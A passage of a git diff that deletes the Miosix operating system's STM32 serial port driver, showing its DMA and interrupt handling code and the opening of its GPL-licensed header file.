//_ARCH_CORTEXM7_STM32H7 - break; - #if !defined(STM32F411xE) && !defined(STM32F401xE) && !defined(STM32F401xC) && !defined(STM32L053xx) - case 3: - port=USART3; - #ifndef _ARCH_CORTEXM7_STM32H7 - #ifndef _ARCH_CORTEXM4_STM32L4 - RCC->APB1ENR |= RCC_APB1ENR_USART3EN; - #else //_ARCH_CORTEXM4_STM32L4 - RCC->APB1ENR1 |= RCC_APB1ENR1_USART3EN; - #endif //_ARCH_CORTEXM4_STM32L4 - #else - RCC->APB1LENR |= RCC_APB1LENR_USART3EN; - #endif //_ARCH_CORTEXM7_STM32H7 - RCC_SYNC(); - #ifdef SERIAL_3_DMA - #if defined(_ARCH_CORTEXM3_STM32F1) || defined(_ARCH_CORTEXM4_STM32F3) \ - || defined(_ARCH_CORTEXM4_STM32L4) - #ifdef _ARCH_CORTEXM4_STM32L4 - RCC->AHB1ENR |= RCC_AHB1ENR_DMA1EN; - DMA1_CSELR->CSELR |= (2 << DMA_CSELR_C2S_Pos) // Assign DMA1_CH2 to USART2_TX - | (2 << DMA_CSELR_C3S_Pos);// Assign DMA1_CH3 to USART2_RX - #else - RCC->AHBENR |= RCC_AHBENR_DMA1EN; - #endif - RCC_SYNC(); - NVIC_SetPriority(DMA1_Channel2_IRQn,15);//Lowest priority for serial - NVIC_EnableIRQ(DMA1_Channel2_IRQn); - dmaTx=DMA1_Channel2; - //Higher priority to ensure IRQhandleDMArx() is called before - //IRQhandleInterrupt(), so that idle is set correctly - NVIC_SetPriority(DMA1_Channel3_IRQn,14); - NVIC_EnableIRQ(DMA1_Channel3_IRQn); - dmaRx=DMA1_Channel3; - #elif defined(_ARCH_CORTEXM7_STM32H7) - RCC->AHB1ENR |= RCC_AHB1ENR_DMA1EN; // enabling DMA1 clock - RCC_SYNC(); - // enabling interrupts - dmaRx=DMA1_Stream1; - NVIC_EnableIRQ(DMA1_Stream1_IRQn); - NVIC_SetPriority(DMA1_Stream1_IRQn,14); - dmaTx=DMA1_Stream3; - NVIC_EnableIRQ(DMA1_Stream3_IRQn); - NVIC_SetPriority(DMA1_Stream3_IRQn,15); - // Configuring DMAMUX - DMAMUX1_Channel1->CCR &= ~DMAMUX_CxCR_DMAREQ_ID; - DMAMUX1_Channel1->CCR |= DMAMUX_CxCR_DMAREQ_ID_0 - | DMAMUX_CxCR_DMAREQ_ID_2 - | DMAMUX_CxCR_DMAREQ_ID_3 - | DMAMUX_CxCR_DMAREQ_ID_5; - DMAMUX1_Channel3->CCR &= ~DMAMUX_CxCR_DMAREQ_ID; - DMAMUX1_Channel3->CCR |= DMAMUX_CxCR_DMAREQ_ID_1 - | DMAMUX_CxCR_DMAREQ_ID_2 - | DMAMUX_CxCR_DMAREQ_ID_3 - | DMAMUX_CxCR_DMAREQ_ID_5; - #else //stm32f2, stm32f4 - RCC->AHB1ENR |= RCC_AHB1ENR_DMA1EN; - RCC_SYNC(); - NVIC_SetPriority(DMA1_Stream3_IRQn,15);//Lowest priority for serial - NVIC_EnableIRQ(DMA1_Stream3_IRQn); - dmaTx=DMA1_Stream3; - //Higher priority to ensure IRQhandleDMArx() is called before - //IRQhandleInterrupt(), so that idle is set correctly - NVIC_SetPriority(DMA1_Stream1_IRQn,14); - NVIC_EnableIRQ(DMA1_Stream1_IRQn); - dmaRx=DMA1_Stream1; - #endif - port->CR3=USART_CR3_DMAT | USART_CR3_DMAR; - #endif //SERIAL_3_DMA - #if !defined(STM32F072xB) && !defined(STM32L053xx) - NVIC_SetPriority(USART3_IRQn,15);//Lowest priority for serial - NVIC_EnableIRQ(USART3_IRQn); - #else //STM32F072xB - NVIC_SetPriority(USART3_4_IRQn,15); - NVIC_EnableIRQ(USART3_4_IRQn); - #endif //STM32F072xB - #if !defined(_ARCH_CORTEXM7_STM32H7) && !defined(_ARCH_CORTEXM0_STM32F0) - if(RCC->CFGR & RCC_CFGR_PPRE1_2) freq/=1<<(((RCC->CFGR>>RCC_CFGR_PPRE1_Pos) & 0x3)+1); - #elif defined(_ARCH_CORTEXM0_STM32F0) - // STM32F0 family has only PPRE2 register - if(RCC->CFGR & RCC_CFGR_PPRE_2) freq/=1<<(((RCC->CFGR>>RCC_CFGR_PPRE_Pos) & 0x3)+1); - #else //_ARCH_CORTEXM7_STM32H7 - //rcc_hclk3 = SystemCoreClock / HPRE - //rcc_pclk1 = rcc_hclk1 / D2PPRE1 - //NOTE: are rcc_hclk3 and rcc_hclk1 the same signal? - //usart2 clock is rcc_pclk1 - if(RCC->D1CFGR & RCC_D1CFGR_HPRE_3) - freq/=1<<(((RCC->D1CFGR>>RCC_D1CFGR_HPRE_Pos) & 0x7)+1); - if(RCC->D2CFGR & RCC_D2CFGR_D2PPRE1_2) - freq/=1<<(((RCC->D2CFGR>>RCC_D2CFGR_D2PPRE1_Pos) & 0x3)+1); - #endif //_ARCH_CORTEXM7_STM32H7 - break; - #endif //!defined(STM32F411xE) && !defined(STM32F401xE) && !defined(STM32F401xC) - #endif //!defined(STM32_NO_SERIAL_2_3) - } - //Quirk: stm32f1 rx pin has to be in input mode, while stm32f2 and up want - //it in ALTERNATE mode. Go figure... - #ifdef _ARCH_CORTEXM3_STM32F1 - Mode::Mode_ rxPinMode=Mode::INPUT; - #else //_ARCH_CORTEXM3_STM32F1 - Mode::Mode_ rxPinMode=Mode::ALTERNATE; - #endif //_ARCH_CORTEXM3_STM32F1 - tx.mode(Mode::ALTERNATE); - rx.mode(rxPinMode); - if(flowControl) - { - rts.mode(Mode::ALTERNATE); - cts.mode(rxPinMode); - } - const unsigned int quot=2*freq/baudrate; //2*freq for round to nearest - port->BRR=quot/2 + (quot & 1); //Round to nearest - //Quirk: some stm32 do not have onebit mode (stm32f101,f102,f103) - #ifdef USART_CR3_ONEBIT - if(flowControl==false) port->CR3 |= USART_CR3_ONEBIT; - else port->CR3 |= USART_CR3_ONEBIT | USART_CR3_RTSE | USART_CR3_CTSE; - #else - if(flowControl) port->CR3 |= USART_CR3_RTSE | USART_CR3_CTSE; - #endif - //Enabled, 8 data bit, no parity, interrupt on character rx - #ifdef SERIAL_DMA - if(dmaTx) - { - port->CR1 = USART_CR1_UE //Enable port - | USART_CR1_IDLEIE //Interrupt on idle line - | USART_CR1_TE //Transmission enbled - | USART_CR1_RE; //Reception enabled - IRQdmaReadStart(); - return; - } - #endif //SERIAL_DMA - port->CR1 = USART_CR1_UE //Enable port - | USART_CR1_RXNEIE //Interrupt on data received - | USART_CR1_IDLEIE //Interrupt on idle line - | USART_CR1_TE //Transmission enbled - | USART_CR1_RE; //Reception enabled -} - -ssize_t STM32Serial::readBlock(void *buffer, size_t size, off_t where) -{ - Lock l(rxMutex); - char *buf=reinterpret_cast(buffer); - size_t result=0; - FastInterruptDisableLock dLock; - DeepSleepLock dpLock; - for(;;) - { - //Try to get data from the queue - for(;result0) break; - if(result==size) break; - //Wait for data in the queue - do { - rxWaiting=Thread::IRQgetCurrentThread(); - Thread::IRQwait(); - { - FastInterruptEnableLock eLock(dLock); - Thread::yield(); - } - } while(rxWaiting); - } - return result; -} - -ssize_t STM32Serial::writeBlock(const void *buffer, size_t size, off_t where) -{ - Lock l(txMutex); - DeepSleepLock dpLock; - const char *buf=reinterpret_cast(buffer); - #ifdef SERIAL_DMA - if(dmaTx) - { - size_t remaining=size; - if(isInCCMarea(buf)==false) - { - //Use zero copy for all but the last txBufferSize bytes, if possible - while(remaining>txBufferSize) - { - //DMA is limited to 64K - size_t transferSize=min(remaining-txBufferSize,65535); - waitDmaTxCompletion(); - writeDma(buf,transferSize); - buf+=transferSize; - remaining-=transferSize; - } - } - while(remaining>0) - { - size_t transferSize=min(remaining,static_cast(txBufferSize)); - waitDmaTxCompletion(); - //Copy to txBuffer only after DMA xfer completed, as the previous - //xfer may be using the same buffer - memcpy(txBuffer,buf,transferSize); - writeDma(txBuffer,transferSize); - buf+=transferSize; - remaining-=transferSize; - } - #ifdef WITH_DEEP_SLEEP - //The serial driver by default can return even though the last part of - //the data is still being transmitted by the DMA. When using deep sleep - //however the DMA operation needs to be fully enclosed by a deep sleep - //lock to prevent the scheduler from stopping peripheral clocks. - waitDmaTxCompletion(); - waitSerialTxFifoEmpty(); //TODO: optimize by doing it only when entering deep sleep - #endif //WITH_DEEP_SLEEP - return size; - } - #endif //SERIAL_DMA - for(size_t i=0;iSR & USART_SR_TXE)==0) ; - port->DR=*buf++; - #elif defined(_ARCH_CORTEXM7_STM32H7) - while((port->ISR & USART_ISR_TXE_TXFNF)==0) ; - port->TDR=*buf++; - #else //_ARCH_CORTEXM7_STM32F7/H7 - while((port->ISR & USART_ISR_TXE)==0) ; - port->TDR=*buf++; - #endif //_ARCH_CORTEXM7_STM32F7/H7 - } - return size; -} - -void STM32Serial::IRQwrite(const char *str) -{ - // We can reach here also with only kernel paused, so make sure - // interrupts are disabled. This is important for the DMA case - bool interrupts=areInterruptsEnabled(); - if(interrupts) fastDisableInterrupts(); - #ifdef SERIAL_DMA - if(dmaTx) - { - #if defined(_ARCH_CORTEXM3_STM32F1) || defined(_ARCH_CORTEXM4_STM32F3) \ - || defined(_ARCH_CORTEXM4_STM32L4) - //If no DMA transfer is in progress bit EN is zero. Otherwise wait until - //DMA xfer ends, by waiting for the TC (or TE) interrupt flag - static const unsigned int irqMask[]= - { - (DMA_ISR_TCIF4 | DMA_ISR_TEIF4), - (DMA_ISR_TCIF7 | DMA_ISR_TEIF7), - (DMA_ISR_TCIF2 | DMA_ISR_TEIF2) - }; - #if !defined(_ARCH_CORTEXM3_STM32L1) - // Workaround for ST messing up with flag definitions... - constexpr unsigned int DMA_CCR4_EN = DMA_CCR_EN; - #endif - while((dmaTx->CCR & DMA_CCR4_EN) && !(DMA1->ISR & irqMask[getId()-1])) ; - #else //_ARCH_CORTEXM3_STM32F1 - //Wait until DMA xfer ends. EN bit is cleared by hardware on transfer end - while(dmaTx->CR & DMA_SxCR_EN) ; - #endif //_ARCH_CORTEXM3_STM32F1 - } - #endif //SERIAL_DMA - while(*str) - { - #if !defined(_ARCH_CORTEXM7_STM32F7) && !defined(_ARCH_CORTEXM7_STM32H7) \ - && !defined(_ARCH_CORTEXM0_STM32F0) && !defined(_ARCH_CORTEXM4_STM32F3) \ - && !defined(_ARCH_CORTEXM4_STM32L4) && !defined(_ARCH_CORTEXM0PLUS_STM32L0) - while((port->SR & USART_SR_TXE)==0) ; - port->DR=*str++; - #elif defined(_ARCH_CORTEXM7_STM32H7) - while((port->ISR & USART_ISR_TXE_TXFNF)==0) ; - port->TDR=*str++; - #else //_ARCH_CORTEXM7_STM32F7/H7 - while((port->ISR & USART_ISR_TXE)==0) ; - port->TDR=*str++; - #endif //_ARCH_CORTEXM7_STM32F7/H7 - } - waitSerialTxFifoEmpty(); - if(interrupts) fastEnableInterrupts(); -} - -int STM32Serial::ioctl(int cmd, void* arg) -{ - if(reinterpret_cast(arg) & 0b11) return -EFAULT; //Unaligned - termios *t=reinterpret_cast(arg); - switch(cmd) - { - case IOCTL_SYNC: - waitSerialTxFifoEmpty(); - return 0; - case IOCTL_TCGETATTR: - t->c_iflag=IGNBRK | IGNPAR; - t->c_oflag=0; - t->c_cflag=CS8 | (flowControl ? CRTSCTS : 0); - t->c_lflag=0; - return 0; - case IOCTL_TCSETATTR_NOW: - case IOCTL_TCSETATTR_DRAIN: - case IOCTL_TCSETATTR_FLUSH: - //Changing things at runtime unsupported, so do nothing, but don't - //return error as console_device.h implements some attribute changes - return 0; - default: - return -ENOTTY; //Means the operation does not apply to this descriptor - } -} - -void STM32Serial::IRQhandleInterrupt() -{ - #if !defined(_ARCH_CORTEXM7_STM32F7) && !defined(_ARCH_CORTEXM7_STM32H7) \ - && !defined(_ARCH_CORTEXM0_STM32F0) && !defined(_ARCH_CORTEXM4_STM32F3) \ - && !defined(_ARCH_CORTEXM4_STM32L4) && !defined(_ARCH_CORTEXM0PLUS_STM32L0) - unsigned int status=port->SR; - #elif defined(_ARCH_CORTEXM7_STM32H7) - unsigned int status=port->ISR; - constexpr unsigned int USART_SR_RXNE=USART_ISR_RXNE_RXFNE; - constexpr unsigned int USART_SR_IDLE=USART_ISR_IDLE; - constexpr unsigned int USART_SR_FE =USART_ISR_FE; - #else //_ARCH_CORTEXM7_STM32F7/H7 - unsigned int status=port->ISR; - constexpr unsigned int USART_SR_RXNE=USART_ISR_RXNE; - constexpr unsigned int USART_SR_IDLE=USART_ISR_IDLE; - constexpr unsigned int USART_SR_FE =USART_ISR_FE; - #endif //_ARCH_CORTEXM7_STM32F7/H7 - char c; - #ifdef SERIAL_DMA - if(dmaRx==0 && (status & USART_SR_RXNE)) - #else //SERIAL_DMA - if(status & USART_SR_RXNE) - #endif //SERIAL_DMA - { - //Always read data, since this clears interrupt flags - #if !defined(_ARCH_CORTEXM7_STM32F7) && !defined(_ARCH_CORTEXM7_STM32H7) \ - && !defined(_ARCH_CORTEXM0_STM32F0) && !defined(_ARCH_CORTEXM4_STM32F3) \ - && !defined(_ARCH_CORTEXM4_STM32L4) && !defined(_ARCH_CORTEXM0PLUS_STM32L0) - c=port->DR; - #else //_ARCH_CORTEXM7_STM32F7/H7 - c=port->RDR; - #endif //_ARCH_CORTEXM7_STM32F7/H7 - //If no error put data in buffer - if((status & USART_SR_FE)==0) - if(rxQueue.tryPut(c)==false) /*fifo overflow*/; - idle=false; - } - if(status & USART_SR_IDLE) - { - #if !defined(_ARCH_CORTEXM7_STM32F7) && !defined(_ARCH_CORTEXM7_STM32H7) \ - && !defined(_ARCH_CORTEXM0_STM32F0) && !defined(_ARCH_CORTEXM4_STM32F3) \ - && !defined(_ARCH_CORTEXM4_STM32L4) && !defined(_ARCH_CORTEXM0PLUS_STM32L0) - c=port->DR; //clears interrupt flags - #else //_ARCH_CORTEXM7_STM32F7/H7 - port->ICR=USART_ICR_IDLECF; //clears interrupt flags - #endif //_ARCH_CORTEXM7_STM32F7/H7 - #ifdef SERIAL_DMA - if(dmaRx) IRQreadDma(); - #endif //SERIAL_DMA - idle=true; - } - if((status & USART_SR_IDLE) || rxQueue.size()>=rxQueueMin) - { - //Enough data in buffer or idle line, awake thread - if(rxWaiting) - { - rxWaiting->IRQwakeup(); - if(rxWaiting->IRQgetPriority()> - Thread::IRQgetCurrentThread()->IRQgetPriority()) - Scheduler::IRQfindNextThread(); - rxWaiting=0; - } - } -} - -#ifdef SERIAL_DMA -void STM32Serial::IRQhandleDMAtx() -{ - dmaTxInProgress=false; - if(txWaiting==0) return; - txWaiting->IRQwakeup(); - if(txWaiting->IRQgetPriority()>Thread::IRQgetCurrentThread()->IRQgetPriority()) - Scheduler::IRQfindNextThread(); - txWaiting=0; -} - -void STM32Serial::IRQhandleDMArx() -{ - IRQreadDma(); - idle=false; - if(rxWaiting==0) return; - rxWaiting->IRQwakeup(); - if(rxWaiting->IRQgetPriority()>Thread::IRQgetCurrentThread()->IRQgetPriority()) - Scheduler::IRQfindNextThread(); - rxWaiting=0; -} -#endif //SERIAL_DMA - -STM32Serial::~STM32Serial() -{ - waitSerialTxFifoEmpty(); - { - InterruptDisableLock dLock; - port->CR1=0; - int id=getId(); - ports[id-1]=0; - switch(id) - { - case 1: - #ifdef SERIAL_1_DMA - IRQdmaReadStop(); - #if defined(_ARCH_CORTEXM3_STM32F1) || defined(_ARCH_CORTEXM4_STM32F3) \ - || defined(_ARCH_CORTEXM4_STM32L4) - NVIC_DisableIRQ(DMA1_Channel4_IRQn); - NVIC_ClearPendingIRQ(DMA1_Channel4_IRQn); - NVIC_DisableIRQ(DMA1_Channel5_IRQn); - NVIC_ClearPendingIRQ(DMA1_Channel5_IRQn); - #elif defined(_ARCH_CORTEXM7_STM32H7) - NVIC_DisableIRQ(DMA1_Stream7_IRQn); - NVIC_ClearPendingIRQ(DMA1_Stream7_IRQn); - NVIC_DisableIRQ(DMA1_Stream5_IRQn); - NVIC_ClearPendingIRQ(DMA1_Stream5_IRQn); - #else //stm32f2, stm32f4 - NVIC_DisableIRQ(DMA2_Stream7_IRQn); - NVIC_ClearPendingIRQ(DMA2_Stream7_IRQn); - NVIC_DisableIRQ(DMA2_Stream5_IRQn); - NVIC_ClearPendingIRQ(DMA2_Stream5_IRQn); - #endif - #endif //SERIAL_1_DMA - NVIC_DisableIRQ(USART1_IRQn); - NVIC_ClearPendingIRQ(USART1_IRQn); - RCC->APB2ENR &= ~RCC_APB2ENR_USART1EN; - break; - - #if !defined(STM32_NO_SERIAL_2_3) - case 2: - #ifdef SERIAL_2_DMA - IRQdmaReadStop(); - #if defined(_ARCH_CORTEXM3_STM32F1) || defined(_ARCH_CORTEXM4_STM32F3) \ - || defined(_ARCH_CORTEXM4_STM32L4) - NVIC_DisableIRQ(DMA1_Channel7_IRQn); - NVIC_ClearPendingIRQ(DMA1_Channel7_IRQn); - NVIC_DisableIRQ(DMA1_Channel6_IRQn); - NVIC_ClearPendingIRQ(DMA1_Channel6_IRQn); - #else //stm32f2, stm32f4 - NVIC_DisableIRQ(DMA1_Stream6_IRQn); - NVIC_ClearPendingIRQ(DMA1_Stream6_IRQn); - NVIC_DisableIRQ(DMA1_Stream5_IRQn); - NVIC_ClearPendingIRQ(DMA1_Stream5_IRQn); - #endif - #endif //SERIAL_2_DMA - NVIC_DisableIRQ(USART2_IRQn); - NVIC_ClearPendingIRQ(USART2_IRQn); - #ifndef _ARCH_CORTEXM7_STM32H7 - #ifdef _ARCH_CORTEXM4_STM32L4 - RCC->APB1ENR1 &= ~RCC_APB1ENR1_USART2EN; - #else - RCC->APB1ENR &= ~RCC_APB1ENR_USART2EN; - #endif - #else //_ARCH_CORTEXM7_STM32H7 - RCC->APB1LENR &= ~RCC_APB1LENR_USART2EN; - #endif //_ARCH_CORTEXM7_STM32H7 - break; - #if !defined(STM32F411xE) && !defined(STM32F401xE) && !defined(STM32F401xC) && !defined(STM32L053xx) - case 3: - #ifdef SERIAL_3_DMA - IRQdmaReadStop(); - #if defined(_ARCH_CORTEXM3_STM32F1) || defined(_ARCH_CORTEXM4_STM32F3) \ - || defined(_ARCH_CORTEXM4_STM32L4) - NVIC_DisableIRQ(DMA1_Channel2_IRQn); - NVIC_ClearPendingIRQ(DMA1_Channel2_IRQn); - NVIC_DisableIRQ(DMA1_Channel3_IRQn); - NVIC_ClearPendingIRQ(DMA1_Channel3_IRQn); - #else //stm32f2, stm32f4 - NVIC_DisableIRQ(DMA1_Stream3_IRQn); - NVIC_ClearPendingIRQ(DMA1_Stream3_IRQn); - NVIC_DisableIRQ(DMA1_Stream1_IRQn); - NVIC_ClearPendingIRQ(DMA1_Stream1_IRQn); - #endif - #endif //SERIAL_3_DMA - #if !defined(STM32F072xB) - NVIC_SetPriority(USART3_IRQn,15);//Lowest priority for serial - NVIC_EnableIRQ(USART3_IRQn); - #else //STM32F072xB - NVIC_SetPriority(USART3_4_IRQn,15); - NVIC_EnableIRQ(USART3_4_IRQn); - #endif //STM32F072xB - #ifndef _ARCH_CORTEXM7_STM32H7 - #ifdef _ARCH_CORTEXM4_STM32L4 - RCC->APB1ENR1 &= ~RCC_APB1ENR1_USART3EN; - #else - RCC->APB1ENR &= ~RCC_APB1ENR_USART3EN; - #endif - #else //_ARCH_CORTEXM7_STM32H7 - RCC->APB1LENR &= ~RCC_APB1LENR_USART3EN; - #endif //_ARCH_CORTEXM7_STM32H7 - break; - #endif //!defined(STM32F411xE) && !defined(STM32F401xE) && !defined(STM32F401xC) - #endif //!defined(STM32_NO_SERIAL_2_3) - } - } -} - -#ifdef SERIAL_DMA -void STM32Serial::waitDmaTxCompletion() -{ - FastInterruptDisableLock dLock; - // If a previous DMA xfer is in progress, wait - if(dmaTxInProgress) - { - txWaiting=Thread::IRQgetCurrentThread(); - do { - Thread::IRQwait(); - { - FastInterruptEnableLock eLock(dLock); - Thread::yield(); - } - } while(txWaiting); - } -} - -void STM32Serial::writeDma(const char *buffer, size_t size) -{ - markBufferBeforeDmaWrite(buffer,size); - //Quirk: DMA messes up the TC bit, and causes waitSerialTxFifoEmpty() to - //return prematurely, causing characters to be missed when rebooting - //immediately a write. You can just clear the bit manually, but doing that - //is dangerous, as if you clear the bit but for any reason the serial - //write doesn't start (think an invalid buffer, or another thread crashing), - //then TC will never be set and waitSerialTxFifoEmpty() deadlocks! - //The only way to clear it safely is to first read SR and then write to - //DR (thus the bit is cleared at the same time a transmission is started, - //and the race condition is eliminated). This is the purpose of this - //instruction, it reads SR. When we start the DMA, the DMA controller - //writes to DR and completes the TC clear sequence. - DeepSleepLock dpLock; - #if !defined(_ARCH_CORTEXM7_STM32F7) && !defined(_ARCH_CORTEXM7_STM32H7) \ - && !defined(_ARCH_CORTEXM0_STM32F0) && !defined(_ARCH_CORTEXM4_STM32F3) \ - && !defined(_ARCH_CORTEXM4_STM32L4) - while((port->SR & USART_SR_TXE)==0) ; - #elif defined(_ARCH_CORTEXM7_STM32H7) - while((port->ISR & USART_ISR_TXE_TXFNF)==0) ; - #else //_ARCH_CORTEXM7_STM32F7/H7 - while((port->ISR & USART_ISR_TXE)==0) ; - #endif //_ARCH_CORTEXM7_STM32F7/H7 - - dmaTxInProgress=true; - #if defined(_ARCH_CORTEXM3_STM32F1) || defined(_ARCH_CORTEXM4_STM32F3) || \ - defined(_ARCH_CORTEXM4_STM32L4) - #if defined(_ARCH_CORTEXM3_STM32F1) - dmaTx->CPAR=reinterpret_cast(&port->DR); - #else - dmaTx->CPAR=reinterpret_cast(&port->TDR); - #endif - dmaTx->CMAR=reinterpret_cast(buffer); - dmaTx->CNDTR=size; - dmaTx->CCR = DMA_CCR_MINC //Increment RAM pointer - | DMA_CCR_DIR //Memory to peripheral - | DMA_CCR_TEIE //Interrupt on transfer error - | DMA_CCR_TCIE //Interrupt on transfer complete - | DMA_CCR_EN; //Start DMA - #else //_ARCH_CORTEXM4_STM32F3 - #if !defined(_ARCH_CORTEXM7_STM32F7) && !defined(_ARCH_CORTEXM7_STM32H7) \ - && !defined(_ARCH_CORTEXM0_STM32F0) - dmaTx->PAR=reinterpret_cast(&port->DR); - #else //_ARCH_CORTEXM7_STM32F7/H7 - dmaTx->PAR=reinterpret_cast(&port->TDR); - #endif //_ARCH_CORTEXM7_STM32F7/H7 - dmaTx->M0AR=reinterpret_cast(buffer); - dmaTx->NDTR=size; - //Quirk: not enabling DMA_SxFCR_FEIE because the USART seems to - //generate a spurious fifo error. The code was tested and the - //transfer completes successfully even in the presence of this fifo - //error - dmaTx->FCR=DMA_SxFCR_DMDIS;//Enable fifo - #ifndef _ARCH_CORTEXM7_STM32H7 - dmaTx->CR = DMA_SxCR_CHSEL_2 //Select channel 4 (USART_TX) - | DMA_SxCR_MINC //Increment RAM pointer - | DMA_SxCR_DIR_0 //Memory to peripheral - | DMA_SxCR_TCIE //Interrupt on completion - | DMA_SxCR_TEIE //Interrupt on transfer error - | DMA_SxCR_DMEIE //Interrupt on direct mode error - | DMA_SxCR_EN; //Start the DMA - #else - dmaTx->CR = DMA_SxCR_MINC //Increment RAM pointer - | DMA_SxCR_DIR_0 //Memory to peripheral - | DMA_SxCR_TCIE //Interrupt on completion - | DMA_SxCR_TEIE //Interrupt on transfer error - | DMA_SxCR_DMEIE //Interrupt on direct mode error - | DMA_SxCR_EN; //Start the DMA - #endif //_ARCH_CORTEXM7_STM32H7 - #endif //_ARCH_CORTEXM4_STM32F3 -} - -void STM32Serial::IRQreadDma() -{ - int elem=IRQdmaReadStop(); - markBufferAfterDmaRead(rxBuffer,rxQueueMin); - for(int i=0;iCPAR=reinterpret_cast(&port->DR); - #else - dmaRx->CPAR=reinterpret_cast(&port->RDR); - #endif - dmaRx->CMAR=reinterpret_cast(rxBuffer); - dmaRx->CNDTR=rxQueueMin; - dmaRx->CCR = DMA_CCR_MINC //Increment RAM pointer - | 0 //Peripheral to memory - | DMA_CCR_TEIE //Interrupt on transfer error - | DMA_CCR_TCIE //Interrupt on transfer complete - | DMA_CCR_EN; //Start DMA - #else //_ARCH_CORTEXM4_STM32F3 - #if !defined(_ARCH_CORTEXM7_STM32F7) && !defined(_ARCH_CORTEXM7_STM32H7) \ - && !defined(_ARCH_CORTEXM0_STM32F0) - dmaRx->PAR=reinterpret_cast(&port->DR); - #else //_ARCH_CORTEXM7_STM32F7/H7 - dmaRx->PAR=reinterpret_cast(&port->RDR); - #endif //_ARCH_CORTEXM7_STM32F7/H7 - dmaRx->M0AR=reinterpret_cast(rxBuffer); - dmaRx->NDTR=rxQueueMin; - #ifndef _ARCH_CORTEXM7_STM32H7 - dmaRx->CR = DMA_SxCR_CHSEL_2 //Select channel 2 (USART_RX) - | DMA_SxCR_MINC //Increment RAM pointer - | 0 //Peripheral to memory - | DMA_SxCR_HTIE //Interrupt on half transfer - | DMA_SxCR_TEIE //Interrupt on transfer error - | DMA_SxCR_DMEIE //Interrupt on direct mode error - | DMA_SxCR_EN; //Start the DMA - #else - dmaRx->CR = DMA_SxCR_MINC //Increment RAM pointer - | 0 //Peripheral to memory - | DMA_SxCR_HTIE //Interrupt on half transfer - | DMA_SxCR_TEIE //Interrupt on transfer error - | DMA_SxCR_DMEIE //Interrupt on direct mode error - | DMA_SxCR_EN; //Start the DMA - #endif // _ARCH_CORTEXM7_STM32H7 - #endif //_ARCH_CORTEXM4_STM32F3 -} - -int STM32Serial::IRQdmaReadStop() -{ - #if defined(_ARCH_CORTEXM3_STM32F1) || defined(_ARCH_CORTEXM4_STM32F3) \ - || defined(_ARCH_CORTEXM4_STM32L4) - dmaRx->CCR=0; - static const unsigned int irqMask[]= - { - DMA_IFCR_CGIF5, - DMA_IFCR_CGIF6, - DMA_IFCR_CGIF3 - }; - DMA1->IFCR=irqMask[getId()-1]; - return rxQueueMin-dmaRx->CNDTR; - #else //_ARCH_CORTEXM3_STM32F1 - //Stop DMA and wait for it to actually stop - dmaRx->CR &= ~DMA_SxCR_EN; - while(dmaRx->CR & DMA_SxCR_EN) ; - - - #ifdef _ARCH_CORTEXM7_STM32H7 - static const unsigned int irqMask[]= - { - (DMA_HIFCR_CTCIF5 | DMA_HIFCR_CHTIF5 | DMA_HIFCR_CTEIF5 | DMA_HIFCR_CDMEIF5 | DMA_HIFCR_CFEIF5), - (DMA_HIFCR_CTCIF4 | DMA_HIFCR_CHTIF4 | DMA_HIFCR_CTEIF4 | DMA_HIFCR_CDMEIF4 | DMA_HIFCR_CFEIF4), - (DMA_LIFCR_CTCIF1 | DMA_LIFCR_CHTIF1 | DMA_LIFCR_CTEIF1 | DMA_LIFCR_CDMEIF1 | DMA_LIFCR_CFEIF1) - }; - #else - static const unsigned int irqMask[]= - { - (DMA_HIFCR_CTCIF5 | DMA_HIFCR_CHTIF5 | DMA_HIFCR_CTEIF5 | DMA_HIFCR_CDMEIF5 | DMA_HIFCR_CFEIF5), - (DMA_HIFCR_CTCIF5 | DMA_HIFCR_CHTIF5 | DMA_HIFCR_CTEIF5 | DMA_HIFCR_CDMEIF5 | DMA_HIFCR_CFEIF5), - (DMA_LIFCR_CTCIF1 | DMA_LIFCR_CHTIF1 | DMA_LIFCR_CTEIF1 | DMA_LIFCR_CDMEIF1 | DMA_LIFCR_CFEIF1) - }; - #endif - - #ifdef _ARCH_CORTEXM7_STM32H7 - static volatile unsigned long * const irqRegs[]= - { - &DMA1->HIFCR, - &DMA1->HIFCR, - &DMA1->LIFCR - }; - #else - static volatile unsigned long * const irqRegs[]= - { - &DMA2->HIFCR, - &DMA1->HIFCR, - &DMA1->LIFCR - }; - #endif - *irqRegs[getId()-1]=irqMask[getId()-1]; - return rxQueueMin-dmaRx->NDTR; - #endif //_ARCH_CORTEXM3_STM32F1 -} -#endif //SERIAL_DMA - -} //namespace miosix diff --git a/miosix/arch/common/drivers/serial_stm32.h b/miosix/arch/common/drivers/serial_stm32.h deleted file mode 100644 index 9b2ab44b1..000000000 --- a/miosix/arch/common/drivers/serial_stm32.h +++ /dev/null @@ -1,296 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010-2018 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#ifndef SERIAL_STM32_H -#define SERIAL_STM32_H - -#include "filesystem/console/console_device.h" -#include "kernel/sync.h" -#include "kernel/queue.h" -#include "interfaces/gpio.h" -#include "board_settings.h" - -#if defined(_ARCH_CORTEXM3_STM32F1) && defined(__ENABLE_XRAM) -//Quirk: concurrent access to the FSMC from both core and DMA is broken in -//the stm32f1, so disable DMA mode if XRAM is enabled. -#undef SERIAL_1_DMA -#undef SERIAL_2_DMA -#undef SERIAL_3_DMA -#endif - -#if defined(SERIAL_1_DMA) || defined(SERIAL_2_DMA) || defined(SERIAL_3_DMA) -#define SERIAL_DMA -#endif - -#if defined(SERIAL_DMA) && defined(_ARCH_CORTEXM0_STM32F0) \ - && defined(_ARCH_CORTEXM0PLUS_STM32L0) -#undef SERIAL_1_DMA -#undef SERIAL_2_DMA -#undef SERIAL_3_DMA -#undef SERIAL_DMA -#warning "DMA not yet implemented for STM32F0/STM32L0 family" -#endif - -namespace miosix { - -/** - * Serial port class for stm32 microcontrollers. - * 